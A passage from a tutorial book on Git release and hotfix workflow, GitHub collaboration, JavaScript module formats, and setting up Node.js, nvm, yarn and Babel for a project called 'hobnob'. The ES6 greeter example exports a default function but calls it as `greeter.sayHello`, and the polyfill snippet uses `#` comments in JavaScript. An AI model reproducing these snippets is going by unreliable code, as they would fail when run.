$ git add -A && git commit -m "Fix typo in social-login.txt"

Now, we would test the revised code again, and assuming there are no more bugs, we can merge it into master:

$ git checkout master
Switched to branch 'master'
$ git merge --no-ff release/0.1.0

When we merge, it will ask us for a commit message; we can just stick with the default message, Merge branch 'release/0.1.0':

Lastly, we should remember to apply the bug fixes we made on the release branch back into dev; if we have any other active release branches, we should apply it to those as well:

$ git checkout dev
$ git merge --no-ff release/0.1.0

We end up with a Git branch structure similar to this:

Lastly, we should tag our release. Tags, in Git, are markers that highlight certain points in the commit history as being important. Releases are important, so the convention is to represent releases as tags on the master branch.

There are two types of tags: lightweight and annotated tags. A lightweight tag is simply a pointer to a particular commit. Annotated tags are, on the other hand, full objects in the Git database, similar to a commit. Annotated tags contain information about the tagger, the date, and an optional message. We should use annotated tags to tag releases.

Check out the master branch and add an annotated tag by running git tag with the -a flag. The name of the tag should be the semver version, and you should also add a message describing the release:

$ git checkout master
$ git tag -a 0.1.0 -m "Implement social login. Update user schema."
$ git show 0.1.0
tag 0.1.0
Tagger: Daniel Li <dan@danyll.com>
Date: Fri Dec 8 21:11:20 2017 +0000
Implement social login. Update user schema.

commit 6a415c24ea6332ea3af9c99b09ed03ee7cac36f4 (HEAD -> master, tag: 0.1.0)
Merge: b54c9de 62020b2
Author: Daniel Li <dan@danyll.com>
Date: Fri Dec 8 18:55:17 2017 +0000
    Merge branch 'release/0.1.0'

The last thing we need to cover for our Git workflow is how to deal with bugs we discover in production (on our master branch). Although our code should have already been thoroughly tested before being added to master, subtle bugs are bound to slip through, and we must fix them quickly. This is call a hotfix.

Working on a hotfix branch is very similar to working on a release branch; the only difference is that we are branching off master instead of dev. Like with release branches, we'd make the changes, test it, deploy it onto a staging environment, and perform more testing, before merging it back into master, dev, and any current release branches:

So, first we make the fix:

$ git checkout -b hotfix/user-schema-incompat master
$ touch user-schema-patch.txt # Dummy hotfix
$ git add -A
$ git commit -m "Patch user schema incompatibility with social login"

Then, we merge it into master:

$ git checkout master
$ git merge --no-ff hotfix/user-schema-incompat

As we have added something new to master, it essentially becomes a new release and therefore we need to increase the version number and tag this new commit. Since this is a bug fix and adds no new features to the platform, we should increase the patch version to 0.1.1:

$ git tag -a 0.1.1 -m "Patch user schema incompatibility with social login"

Lastly, don't forget to merge the hotfix changes back into dev and, if relevant, other release branches:

$ git checkout dev
$ git merge --no-ff hotfix/user-schema-incompat

Our Git history tree now looks like this:

You can clearly distinguish the two permanent branches, master and dev, as everything seems to revolve around them. However, it's also clear that adding a hotfix makes the Git history more complicated than before, and so hotfixes should only be made when absolutely necessary.

So far, we've outlined how to manage our Git repository when developing by ourselves; however, more often than not, you'll work as part of a team. In those instances, your team must work in a way that allows your colleagues to get the updates you have done, as well as update others on their own changes.

Fortunately, Git is a distributed VCS, which means any local repository can act as the remote repository for someone else. This means your colleagues can pull your changes onto their machine, and you can pull their changes onto yours:

 

However, this would mean you'd have to pull from everybody's machine regularly to get all the latest changes. Furthermore, where there are merge conflicts, one person might resolve them differently to another.

So while it is technically possible to follow this distributed workflow, most teams elect a single repository that they consider to be the central one.

By convention, this remote repository is called origin:

When you want to update your local repository with changes made by your colleagues, you pull from the origin repository. When you have changes that you think are ready to be incorporated, you push them into origin.

There are many ways to host a remote repository. You can set up your own server, or you can use a hosted service such as Bitbucket or GitHub. We are going to use GitHub as it is the most popular, and is free for public repositories.

1. Go to https://github.com/ and click on the Sign Up button
2. Fill in your details to create an account
3. Once logged in, click on the New Repository button or go to https://github.com/new

4. Fill in the details about the repository, but do not check the Initialize this repository with a README box or add a license:

5. After you press Create repository, GitHub should show a Quick setup tooltip. This indicates that we have now successfully created our repository:

Next, we need to update our local repository so it knows the address of the remote repository:

$ git remote add origin https://github.com/d4nyll/hobnob.git
$ git push -u origin master

The -u tag sets the upstream repository to be origin. Without it, we would have to specify which remote repository we want to push to or pull from every time we run git push and git pull; using the -u tag here will save us a lot of time in the future. Subsequent pushes and pulls can omit the -u tag.

By default, git push doesn't push tags to remote repositories. So, we'd have to push tags manually. The syntax for pushing tags is similar to that of pushing branches:

$ git push origin [tagname]

Alternatively, if you want to push all tags, you can run the following command instead:

$ git push origin --tags

Our code is now publicly available on GitHub. Our colleagues and/or collaborators can now download the code using the git clone command:

$ git clone https://github.com/d4nyll/hobnob.git

This will create a new directory inside the directory where the git clone command was run, and copy the contents of the remote repository into it.

Your collaborators can then work on this local copy of the repository, commit changes, and add new branches. Once they are ready to make their changes available to others, they can pull from the remote repository, resolve merge conflicts, and then push their changes back to origin:

$ git pull
# Resolves any conflicts
$ git push

Most of the time, it's fine to allow anyone to push to and pull from the repository. However, for more important projects, you may wish to prevent new or junior developers from pushing to important branches such as dev and master. In those instances, the owner of the repository may restrict push rights to only a small selection of trusted developers.

For non-trusted developers, in order to make a change to dev or master, they must create a new branch (such as a feature or bug-fix branch), push to that branch, and create a pull request (PR). This PR is a formal request for their branch to be merged back to dev or master.

After receiving a pull request, the owner or maintainer will review your work and provide feedback. On GitHub, this is done through comments. The contributor will then work with the maintainers and make changes to the code until both are happy with the changes. At this point, the maintainer will accept your pull request and merge it into the intended branch:

Conversely, if the maintainers do not feel the changes are in line with the goals of the project, they can reject them.

Implementing pull requests in your development process has several benefits:

• You can notify your peers that a feature/bug fix has been completed.
• It is a formal process where all comments and discussions are logged.
• You can invite reviewers to peer-review the changes you've made. This allows them to help spot obvious errors, as well as to provide feedback on your code. This not only ensures the code quality of the source code is high, it also helps the developer learn from other people's experience.

In this chapter, we outlined how to manage your project's version history using Git. We started by understanding the different states in Git and practicing some basic Git commands, and using them to commit, branch, and merge our changes. We then set up a remote repository on GitHub, which allowed us to share our code and collaborate with others.

The workflow and conventions used here are opinionated, and you may come across different patterns in your workplace. There is no right way to use Git, only wrong ways, and the rules we used here are not perfect. For example, in the Driessen model, once a feature is merged into dev, it will be hard to extract it. Therefore, we have to be careful not to merge in features that are not meant for the current release. Therefore, the most important takeaway from this chapter is to establish a set of conventions with your team, and stick to it consistently.

In the next chapter, we will start writing our first lines of code, setting up our development environments and tools, and integrating with JavaScript-specific tools, such as npm, yarn, Babel, and nodemon. For the rest of this book, as you work through the exercises and build the application, we expect you to use the workflow outlined here to keep a version history of your code.

The first section of this book (Chapters 1-3) was written to provide sufficient background knowledge so that we can code without interruption. In this chapter, we will actually start building our user directory application, called 'hobnob', by setting up our local development environment.

The aim of this chapter is to help you understand how different tools and standards in the Node.js ecosystem work together. Specifically, we'll cover the following:

• What is Node.js?
• Different formats/standards for JavaScript modules
• Managing modules with npm and yarn
• Transpiling code with Babel
• Watching for changes with nodemon
• Linting our code with ESLint

As you learned in Chapter 2, The State of JavaScript, Node.js is "JavaScript on the server". Before we move forward, let's delve a little deeper into understanding what that means.

Traditionally, JavaScript is interpreted by a JavaScript engine that converts JavaScript code into more optimized, machine-executable code, which then gets executed. The engine interprets the JavaScript code at the time it is run. This is unlike compiled languages such as C#, which must first be compiled into an intermediate language (IL), where this IL is then executed by the common language runtime (CLR), software similar in function to the JavaScript engine.

Different browsers use different JavaScript engines. Chrome uses V8, Firefox uses SpiderMonkey, WebKit browsers such as Safari use JavaScriptCore, and Microsoft Edge uses Chakra. Node.js uses V8 as its JavaScript engine and adds C++ bindings that allow it to access operating system resources, such as files and networking.

Because JavaScript was traditionally interpreted at runtime, and because runtimes in other languages (such as C#, mentioned before) do actually execute the code, many people incorrectly call the JavaScript engine the JavaScript runtime.

But, they are different things—the engine is the software that translates the high-level JavaScript code into machine-executable code, and then executes it. The JavaScript engine then exposes all the objects obtained from parsing the code to the JavaScript runtime environment, which can then use it.

So, JavaScript in the browser and Node.js both use the same V8 engine, but run in different runtime environments. For example, the browser runtime environment provides the window global object, which is not available in the Node.js runtime. Conversely, the browser runtime lacks the require global, and cannot act on system resources such as file systems.

As mentioned in Chapter 1, The Importance of Good Code, clean code should be structured in a modular way. In the next few sections, we'll introduce you to the concept of modular design, before explaining the different module formats. Then, for the rest of the chapter, we will begin composing our project by incorporating existing Node modules.

But first, let's remind ourselves why modular design is important. Without it, the following apply:

• Logic from one business domain can easily be interwoven with that of another
• When debugging, it's hard to identify where the bug is
• There'll likely be duplicate code

Instead, writing modular code means the following:

• Modules are logical separations of domains—for example, for a simple social network, you might have a module for user accounts, one for user profiles, one for posts, one for comments, and so on. This ensures a clear separation of concerns.
• Each module should have a very specific purpose—that is, it should be granular. This ensures that there is as much code reusability as possible. A side effect of code reusability is consistency, because changes to the code in one location will be applied everywhere.
• Each module provides an API for other modules to interact with—for example, the comments module might provide methods that allow for creating, editing, or deleting a comment. It should also hide internal properties and methods. This turns the module into a black box, encapsulating internal logic to ensure that the API is as minimal as is practical.

By writing our code in a modular way, we'll end up with many small and manageable modules, instead of one uncontrollable mess.

Modules were not supported in JavaScript until ECMAScript 2015, because JavaScript was initially designed to add small bits of interactivity to web pages, not to cater for building full-fledged applications. When developers wanted to use a library or framework, they'd simply add <script> tags somewhere inside the HTML, and that library would be loaded when the page was loaded. However, this is not ideal as the scripts must be loaded in the correct order. For example, Bootstrap (a UI framework) depends on jQuery (a utility library), so we must manually check that the jQuery script is added first:

<!-- jQuery - this must come first -->
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>

<!-- Bootstrap's JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

This is fine as the dependency tree is relatively small and shallow. However, as single-page applications (SPAs) and Node.js applications become more popular, applications inevitably become more complex; having to manually arrange hundreds of modules in the correct order is impractical and error-prone:

Furthermore, many of these scripts add variables to the global namespace, or extend the prototypes of existing objects (for example, Object.prototype or Array.prototype). Because they are usually not namespaced, the scripts can clash/interfere with each other, or with our code.

Because of the increasing complexity of modern applications, developers started creating package managers to organize their modules. Moreover, standard formats began to appear so that modules could be shared with the wider community.

At the time of writing, there are three major package managers—npm, Bower, and yarn—and four major standards in defining JavaScript modules—CommonJS, AMD, UMD, and ES6 modules. Each format also has accompanying tools to enable them to work on browsers, such as RequireJS, Browserify, Webpack, Rollup, and SystemJS.

In the following section, we'll give a quick overview of different types of package managers, modules, and their tools. At the end of this section, we'll look more specifically at ES6 modules, which we will use for the rest of the book.

Using modules on the client was infeasible because an application can have hundreds of dependencies and sub-dependencies; having to download them all when someone visits the page is going to increase the time-to-first-render (TTFR), drastically impacting the user experience (UX). Therefore, JavaScript modules, as we know them today, began their ascent on servers with Node.js modules.

In Node.js, a single file corresponds to a single module:

$ tree
.
├── greeter.js
└── main.js
0 directories, 2 files

For instance, both of the preceding files—greeter.js and main.js—are each their own module.

In Node.js, modules are written in the CommonJS format, which provides two global objects, require and exports, that developers can use to keep their modules encapsulated. require is a function that allows the current module to import and use variables defined in other modules. exports is an object that allows a module to make certain variables publicly available to other modules that require it.

For example, we can define two functions, helloWorld and internal, in greeter.js:

// greeter.js
const helloWorld = function (name) {
  process.stdout.write(`hello ${name}!\n`)
};
const internal = function (name) {
  process.stdout.write('This is a private function')
};
exports.sayHello = helloWorld;

By default, these two functions can only be used within the file (within the module). But, when we assign the helloWorld function to the sayHello property of exports, it makes the helloWorld function accessible to other modules that  require the greeter module.

To demonstrate this, we can require the greeter module in main.js and use its sayHello export to print a message to the console:

// main.js
const greeter = require('./greeter.js');
greeter.sayHello("Daniel");

Now, when we run main.js, we get a message printed in the Terminal:

$ node main.js 
hello Daniel!

You can export multiple constructs from a single module by adding them as properties to the exports object. Constructs that are not exported are not available outside the module because Node.js wraps its modules inside a module wrapper, which is simply a function that contains the module code:

(function(exports, require, module, __filename, __dirname) {
  // Module code
});

This fulfills the encapsulation requirement of modules; in other words, the module restricts direct access to certain properties and methods of the module. Note that this is a feature of Node.js, not CommonJS.

Since CommonJS, multiple module formats have emerged for client-side applications, such as AMD and UMD. AMD, or Asynchronous Module Definition, is an early fork of the CommonJS format, and supports asynchronous module loading. This means modules that do not depend on each other can be loaded in parallel, partially alleviating the slow startup time that clients face if they use CommonJS on the browser.

Whenever there are multiple unofficial standards, someone will usually come up with a new standard that's supposed to unify them all:

This is what happened with UMD, or Universal Module Definition. UMD modules are compatible with both AMD and CommonJS, and this also exposes a global variable if you want to include it on your web page as a <script> tag. But, because it tries to be compatible with all formats, there's a lot of boilerplate.

Eventually, the task of unifying JavaScript module formats was taken on by the Ecma International, which standardized modules in the ECMAScript 2015 (ES6) version of JavaScript. This module format uses two keywords: import and export. The same greeter example would look like this with ES6 modules:

// greeter.js

const helloWorld = function (name) {
  process.stdout.write(`hello ${name}!\n`)
};
const privateHellowWorld = function (name) {
  process.stdout.write('This is a private function')
};
export default helloWorld;

// main.js

import greeter from "./greeter.js";
greeter.sayHello("Daniel");

You'd still have two files—greeter.js and main.js; the only difference here is that exports.sayHello = helloWorld; is replaced by export default helloWorld;, and const greeter = require('./greeter.js'); is replaced by import greeter from "./greeter.js";.

Furthermore, ES6 modules are static, meaning they cannot be changed at runtime. In other words, you cannot decide during runtime whether a module should be imported. The reason for this is to allow the modules to be analyzed and the dependency graph to be built beforehand.

Node.js and popular browsers are quickly adding support for ECMAScript 2015 features, but currently none of them fully support modules.

Luckily, there are tools that can convert ECMAScript 2015 modules into the universally supported CommonJS format. The most popular are Babel and Traceur. In this book, we will use Babel because it is the de facto standard.

With that background on modules out of the way, let's begin the development of our application by installing Node.js on our local machine. Just like the saying "Many roads lead to Rome", there are many ways to install Node.js on your machine. You can do one of the following:

• Go to https://nodejs.org/ and download its source code (in the form of a *.tar.gz archive)
• Go to https://nodejs.org/ and download an installer
• Go to https://nodejs.org/en/download/package-manager/ and download the Node version that's listed on your operating system's package repository

But the easiest way is to use Node Version Manager (nvm), which has the added benefit of allowing you to download and switch between different versions of Node. This is especially handy if you're working on different Node projects at the same time, each using a different version.

You can install nvm using the shell script it provides:

$ curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.2/install.sh | bash
$ source ~/.nvm/nvm.sh

This will clone the nvm repository to ~/.nvm and adds a line to your profile (~/.bash_profile, ~/.zshrc, ~/.profile, or ~/.bashrc) so that nvm will be loaded when your user logs in.

Now, we can use nvm to install Node. First, let's check the versions of Node that are available using the nvm ls-remote command:

$ nvm ls-remote
        ...
     v0.12.17
     v0.12.18
        ...
       v8.11.3 (LTS: Carbon)
       v8.11.4 (Latest LTS: Carbon)
       ...
       v10.8.0
       v10.9.0

It will come back with a huge list of every Node.js version, and we can install a specific version by running nvm install <version>, where version is the version number (for example, 6.11.1) or the name of the long-term support (LTS) version (for example, lts/boron):

$ nvm install 6.11.1
$ nvm install lts/boron

We want to use the latest LTS version of Node. At the time of writing, that's 8.11.4, so we can run nvm install 8.11.4. Better still, we can use the shorthand nvm install lts/*, which will default to the latest LTS version of Node:

$ nvm install lts/*
Downloading and installing node v8.11.4...
Downloading https://nodejs.org/dist/v8.11.4/node-v8.11.4-linux-x64.tar.xz...
######################################################################### 100.0%
Computing checksum with sha256sum
Checksums matched!
Now using node v8.11.4 (npm v5.6.0)

We can check that Node has been successfully installed by running node -v:

$ node -v
v8.11.4

When we installed Node, we also automatically installed the npm CLI, which is the package manager for Node.js:

$ npm -v
5.5.1

We should document which version of Node we are running our API server with. To do this with nvm, we simply have to define a .nvmrc file in the root directory of our project. Then, any developers working on the API will be able to use the right Node version by running nvm use. Therefore, create a new project directory and run git init to create a new Git repository. Once that's done, create a new .nvmrc file that contains a single line that reads 8.11.4:

$ mkdir hobnob && cd hobnob
$ git init
$ echo "8.11.4" > .nvmrc

For Node.js projects, the settings and configurations are stored inside a file named package.json, located at the root of the repository. The npm CLI tool provides a npm init command, which will initiate a mini-wizard that helps you compose your package.json file. So, inside our project directory, run npm init to initiate the wizard. 

The wizard will ask you a series of questions, but also provides sensible defaults. Let's go through each question one by one:

1. package name: We are happy with the default name of hobnob (derived from the directory name), so we can just press the Return key to continue.
2. version: We're going to follow semantic versioning (semver) here and use major version 0(0.y.z) to indicate that our code base is under initial development, and that the API is not stable. Semver also recommends that our initial release be 0.1.0.

3. description: A brief description of your project; if we make our application public on npmjs.com, this description will appear in the search results.
4. entry point: This should point to the root of the module, and is what is run when other modules require your module. We have not decided on the structure of our application yet, so just leave it at index.js, and we may change it later.
5. test command: This will be run when we run npm run test. We will integrate with the Cucumber and Mocha testing frameworks later; for now, just leave it blank.
6. git repository: Use the remote repository we created earlier, for example, git@github.com:d4nyll/hobnob.git.
7. keywords: These are comma-separated keywords that help others search for your package on npmjs.com.
8. author: Put your details here in the format of FirstName LastName <e@ma.il> (http://web.site/).
9. license: The license tells others how they can use our code. It should be one of the identifiers in the SPDX License List (https://spdx.org/licenses/). For example, the MIT License would be MIT, and the GNU General Public License v3.0 would be GPL-3.0.

After you've completed the wizard, it'll show you a preview of the package.json file; press the Return key to confirm. You can also take a look at the newly-created package.json file to check:

$ cat package.json 
{
  "name": "hobnob",
  "version": "0.1.0",
  "description": "Back end for a simple user directory API with 
   recommendation engine",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/d4nyll/hobnob.git"
  },
  "author": "Daniel Li <dan@danyll.com>",
  "license": "MIT",
  "bugs": {
    "url": "https://github.com/d4nyll/hobnob/issues"
  },
  "homepage": "https://github.com/d4nyll/hobnob#readme"
}

The package.json file contains information about your project, as well as a list of packages that your project depends on. Having a package.json file, it allows collaborators to quickly set up the project on their local environment—all they have to do is run npm install, and all the project's dependencies will be installed.

npm is the default package manager, but Facebook, in collaboration with Exponent, Google, and Tilde, has since developed a better alternative, called yarn, which we will use instead.

yarn (https://yarnpkg.com/en/) uses the same https://www.npmjs.com/ registry as the npm CLI. Since they both just install packages inside node_modules directories and write to package.json, you can use npm and yarn interchangeably. The differences are in their methods for resolving and downloading dependencies.

When we specify our dependencies inside our package.json file, we can use symbols to indicate a range of acceptable versions. For example, >version means the installed version must be greater than a certain version, ~version means approximately equivalent (which means it can be up to the next minor version), and ^version means compatible (which usually means the highest version without a change in the major version). This means that given the same package.json file, it's likely that you'll install a different set of package versions than your colleagues.

yarn, by default, creates a lock file, yarn.lock. The lock file ensures that the exact version of every package is recorded, so that everyone who installs using the lock file will have exactly the same version of every package.

npm, on the other hand, only made its lock files as defaults in version 5.0.0 with package-lock.json. Prior to this, developers had to run npm shrinkwrap manually to generate a npm-shrinkwrap.json file—the predecessor to package-lock.json.

When you install a package with yarn, it will save a copy of it at ~/.yarn-cache. So, the next time you need to install a package in one of your projects, yarn will check this cache and use the local copy if possible. This saves a round trip to the server each time and allows you to work offline.

When you install a package and its dependencies, npm installs them sequentially, whereas yarn installs them in parallel. This means installing with yarn is consistently faster.

There are many methods by which you can install yarn. The simplest one is to install it through npm (yes, this is quite ironic):

$ npm install --global yarn

However, this is not recommended because the packages are not signed, which means you cannot be sure it came from an authentic source; this poses a security risk. Therefore, it is recommended to follow the official installation instructions outlined at https://yarnpkg.com/en/docs/install#windows-stable. For a Ubuntu machine, we should run the following:

curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
sudo apt-get update && sudo apt-get install yarn

yarn has most of the functionality for the npm CLI. The following table compares the corresponding commands:

Apart from the basics, yarn also has some non-essential, but otherwise neat, features that'll help you in your workflow:

• yarn licenses ls: Prints out, on the console, a list of packages, their URLs and their licenses
• yarn licenses generate-disclaimer: Generates a text file containing the licenses of all the dependencies
• yarn why: Generates a dependency graph to figure out why a package was downloaded—for example, it might be a dependency of a dependency of our application
• yarn upgrade-interactive: Provides an interactive wizard that allows you to selectively upgrade outdated packages

You can get a full list of CLI commands at https://yarnpkg.com/en/docs/cli/, or by running yarn help on your Terminal.

yarn is an improvement on npm, in terms of speed, consistency, security, and the general aesthetics of its console output. This has, in turn, made npm better—npm v5.0.0 introduced the following changes, obtained from the official announcement on the npm blog:

• npm will --save by default now. Additionally, package-lock.json will be automatically created unless an instance of npm-shrinkwrap.json exists.
• Package metadata, package download, and caching infrastructure have been replaced. The new cache is very fault-tolerant and supports concurrent access.
• Running npm while offline will no longer insist on retrying network requests. npm will now immediately fall back to the cache if possible, or fail.

Next, we need to set up our project so that it can run ES6 code, specifically the ES6 modules feature. To demonstrate this, and also to show you how to debug your code, we're just going to create a simple HTTP server that always returns the string Hello, World!.

Node.js provides the HTTP module, which contains a createServer() method (https://nodejs.org/api/http.html#http_http_createserver_requestlistener)that allows you to provision HTTP servers. At the root of your project directory, create an index.js file and add the following:

const http = require('http');
const requestHandler = function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/plain'});
  res.end('Hello, World!');
}
const server = http.createServer(requestHandler);
server.listen(8080);

Once you've done that, open up a terminal and run node index.js. This should have started a server on localhost:8080. Now, if we send a request to localhost:8080, for instance by using a web browser, it'll return with the text Hello, World!:

The node process is currently running in the foreground and will continue to listen for further requests. To stop the node process (and thus our server), press Ctrl + C.

Let's break down our HTTP server code to see what's really going on. First, we require the http package so we can access the HTTP module's methods:

const http = require('http');

Next, we use the createServer method to create a server instance that listens to incoming requests. Inside it, we pass in a request handler function that takes a req and res parameters.

The req parameter is an object containing information about the request, such as its origin IP, URL, protocol, body payload (if any), and so on. The res object provides methods that help you prepare the response message to send back to the client; for example, you can set the header, add a response body, specify the content type of the body, and so on.

When we run res.end(), it finishes the preparation of the response and sends it back to the client. Here, we disregard what the request was, and it simply returns with Hello, World!:

const requestHandler = function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/plain'});
  res.end('Hello, World!');
}
const server = http.createServer(requestHandler);

Now that we have created a server instance and configured its response, the last step is to give it a port and instruct it to listen for requests on that port.

server.listen(8080);

We've been using the CommonJS require syntax for modules; let's change it to use the ES6 module syntax (using import).

In your code, update the first line to use import:

const http = require('http'); // CommonJS syntax
import http from 'http'; // ES6 syntax

When we try to run our server by executing node index.js, it will throw a SyntaxError: Unexpected token import error. This is because Node.js support for modules is still experimental, and not likely to be supported without the --experimental-modules flag until late 2018.

This means that for us to write our source code using ES6 modules, we need to add an extra step that will transpile the unsupported syntax into supported syntax. There are a few compilers/transpilers available for us to choose from:

• Babel: The most popular and de facto standard for JavaScript compilers/transpilers.
• Traceur: Another compiler by Google.
• The TypeScript compiler: TypeScript is a superset of JavaScript that provides static typing. Since valid JavaScript is also valid TypeScript, the TypeScript compiler can also act as an ES6 to ES5 transpiler.
• The Closure compiler: A compiler that optimizes your JavaScript by parsing and analyzing it, removing dead code, refactoring existing code, and minimizing the final results. It also warns the user of common mistakes. The Closure compiler supports the ES6 syntax, but transpiles everything down to ES5.

Whilst the TypeScript and Closure compilers are able to transpile ES6 to ES5, it is not their primary function; thus naturally, these features are of limited use here. Babel and Traceur are tools whose sole purpose is to transform the ES6/7/8/9 and ESNext syntax to JavaScript that is supported by the environment, and so would be more suitable for our use. Of the two, Babel is, by far, the most popular and active, and will be the one we use in this project.

Babel can transpile ES6/7/8/9 and ESNext syntax into syntax that works in the targeted environment. For example, let's say we have a module that uses arrow functions:

double = a => a * 2

If we want this to be available on the browser, Babel can transpile it to ES5:

double = function double(a) {
  return a * 2;
};

However, if we are running Node v8.11.4, which natively supports arrow functions, it will leave the function unmodified.

Apart from supporting new ECMAScript versions, it also supports commonly used syntax such as JSX (used by React) and Flow static type annotations.

Babel is a suite of tools—it is both a command-line tool, and a polyfill, and the packages are split up into many parts, such as @babel/cli, @babel/register, @babel/node, and @babel/core, all of which allow you to run ESNext code.

So first, let's understand what the different parts of Babel actually are, and how we can use Babel in our application.

The Babel CLI is the most common (and easiest) way to run Babel. It gives you an executable (babel) which you can use on the terminal to transpile files and directories. It is available on npmjs.com, and so we can install it using yarn:

# Install @babel/cli as a development dependency
$ yarn add @babel/cli --dev

# transpile a single file

$ babel example.js -o compiled.js

# transpile an entire directory
$ babel src -d build

The @babel/cli package allows you to transpile source code ahead of time; on the other hand, @babel/register transpiles it at runtime.

@babel/register is useful during testing, as it allows you to write ESNext inside your tests, as they will be transpiled down before the tests are run.

The alternative is to transpile manually using the babel CLI, and perform the tests on the transpiled code. This is acceptable; however, the line numbers on the transpiled code will not match the ones in the source code, making it harder to identify the failing test(s). Furthermore, since there is likely to be more boilerplate code in the transpiled code, the test coverage statistics might not be accurate.

Therefore, using @babel/register is recommended for running tests written in ES6.

While the @babel/register hook can integrate with other tools such as mocha and nyc and acts as a middle step, @babel/node is a stand-in replacement for node and supports ESNext syntax:

# install @babel/node
$ yarn add @babel/node --dev

# instead of this
$ node main.js

# you'd run
$ babel-node main.js

It is provided for convenience, to help you get started. It's not meant to be used in production since, like @babel/register, it transpiles the source code at runtime, which is highly inefficient.

@babel/cli, @babel/register, @babel/node, and several other packages all depend on @babel/core, which as its name implies contains the core logic behind Babel. In addition, the @babel/core package exposes API methods that you can use inside your code:

import * as babel from '@babel/core';
var result = babel.transform("code();", options);
result.code;
result.map;
result.ast;

Newer versions of ECMAScript provide new and cleaner syntax, and Babel transpiles the new syntax down to older versions of ECMAScript. However, this is more difficult (if not impossible) to do in the same way if you're using newer JavaScript APIs.

For example, if you're using the new fetch API instead of XMLHttpRequest, Babel won't be able to transpile this down. For APIs, we must use a polyfill; luckily, Babel provides the @babel/polyfill package.

To use the polyfill, you must first install it as a dependency (not a development dependency):

$ yarn add @babel/polyfill

Then, import the @babel/polyfill package at the top of your code and it'll mutate existing global variables to polyfill methods that are not yet supported:

require("@babel/polyfill"); # ES5
import "@babel/polyfill"; # ES6

We'll be using the Babel CLI to transpile our code, while also adding the Babel polyfill in order to make use of newer JavaScript APIs. Therefore, while still inside your project directory, run the following two commands:

$ yarn add @babel/core @babel/cli --dev
$ yarn add @babel/polyfill

We used the --dev flag when we ran yarn add @babel/core @babel/cli, and this is because we want to include them as development dependencies. Development dependencies may include build tools, test runners, documentation generators, linters, and anything else that are used during development, but not used by the application itself.

This is done so that if someone wants to use our package in their project, they can just npm install our package and its dependencies, without also downloading the development dependencies.

Now, let's use the Babel CLI to transpile our code:

$ npx babel index.js -o compiled.js

The preceding command uses npx, a tool that was introduced with npm v5.2.0. npx allows you to run binaries install locally (within your project's node_modules directory, as opposed to globally) using a very tidy syntax. Instead of typing ./node_modules/.bin/babel index.js -o compile.js, you can shorten it to npx babel index.js -o compile.js.

Here, we are using npx to run the local babel executable, which will transpile our index.js file and output it as compiled.js.

If you compare the two files, you'll see that apart from formatting changes (such as whitespace), the two files should be identical. This is because the Babel CLI, by default, will simply copy files from one place to another. To give it functionality, we must add plugins and specify them in a configuration file. So next, let's create that configuration file. At the root of the project directory, create a new file named .babelrc and add the following lines:

{
 "presets": [],
 "plugins": []
}

Plugins tell Babel how to transform your code, and presets are predefined groups of plugins. For example, you have the es2017 preset, which includes the plugins syntax-trailing-function-commas and transform-async-to-generator, which are required to support ECMAScript 2017 syntax. There's also the react preset, which includes the transform-react-jsx plugin (among others) to allow Babel to understand JSX.

To use a plugin or preset, you can install it as a development dependency, and specify it in the .babelrc. For example, if I want to support ECMAScript 2017 syntax, but also the rest and spread operators for objects (a ES2018 feature), I could run the following:

$ yarn add @babel/preset-es2017 @babel/plugin-syntax-object-rest-spread --dev

And, add the setting into .babelrc:

{
  "presets": ["@babel/es2017"],
  "plugins": ["@babel/syntax-object-rest-spread"]
}

However, in the previous approach, you have to manually keep track of which ECMAScript features you've used, and determine whether they are compatible with the version of Node.js you have installed on your machine. Babel provides a better alternative, the env preset, which is available as the @babel/preset-env package. This preset will use the kangax ECMAScript compatibility tables (kangax.github.io/compat-table/) to determine which features are unsupported by your environment, and download the appropriate Babel plugins.

This is great for our use case, because we don't want to transpile everything into ES5, only the import/export module syntax. Using the env preset will ensure that only the minimum number of transformations are made to our code.

In fact, if you go to the npmjs.com page for @babel/preset-es2017 or similar packages, you'll see that they have been deprecated in favor of the @babel/preset-env package. Therefore, we should remove the previous plugins and presets, and use the env preset instead:

$ yarn remove @babel/preset-es2017 @babel/plugin-syntax-object-rest-spread
$ yarn add @babel/preset-env --dev

Next, replace the content of our .babelrc with the following:

{
  "presets": ["@babel/env"]
}

The API we are writing is intended to be run only on the server, using Node, so we should specify that in the configuration. We can specify the exact version of Node we want to support, but even better, we can ask Babel to detect it for us using the target option "node": "current".

So, replace .babelrc with the following:

{
  "presets": [
    ["@babel/env", {
      "targets": {
        "node": "current"
      }
    }]
  ]
}

Great! Now we can continue writing in ES6. When we want to run our program, we can simply transpile it using Babel, and run the compiled script:

$ npx babel index.js -o compiled.js
$ node compiled.js

You should, once again, receive the 'Hello World!' text as the response when you send a GET request to localhost:8080.

Usually, the source code consists of many files, nested inside multiple directories. We can transpile each file and place them next to the corresponding source file, but this is not ideal as it is hard to separate the distribution code from the source. Therefore, it's preferable to separate the source and distribution code into two different directories.

Therefore, let's remove the existing compiled.js, and create two new directories called src and dist. Also, move the index.js file into the src directory:

$ rm compiled.js
$ mkdir src dist
$ mv index.js src/

Now, we should build our project again, but this time supplying the -d flag to the Babel CLI, which will compile files in our src directory into an output directory. We should also remove our existing dist directory before we build to ensure no artifacts are left behind from the previous build:

$ rm -rf dist/ && npx babel src -d dist
$ node dist/index.js

Lastly, inside the src/index.js file, import the polyfill at the top of the file:

import "@babel/polyfill";
...

This will allow us to use new JavaScript APIs, such as fetch. Again, transpile the modified source code by executing rm -rf dist/ && npx babel src -d dist.

It's troublesome to have to type rm -rf dist/ && npx babel src -d dist each time you want to build your project. Instead, we should use npm scripts to consolidate this command into a simpler one.

In your package.json file, add a new build sub-property to the scripts property, and set it to a string representing the command we want to run:

"scripts": {
 "build": "rm -rf dist/ && babel src -d dist",
 "test": "echo \"Error: no test specified\" && exit 1"
}

Now, instead of typing  rm -rf dist/ && npx babel src -d dist, you can just type yarn run build, or npm run build—much less cumbersome! By adding this script into package.json, it allows you to share this with other developers, so everyone can benefit from this convenience.

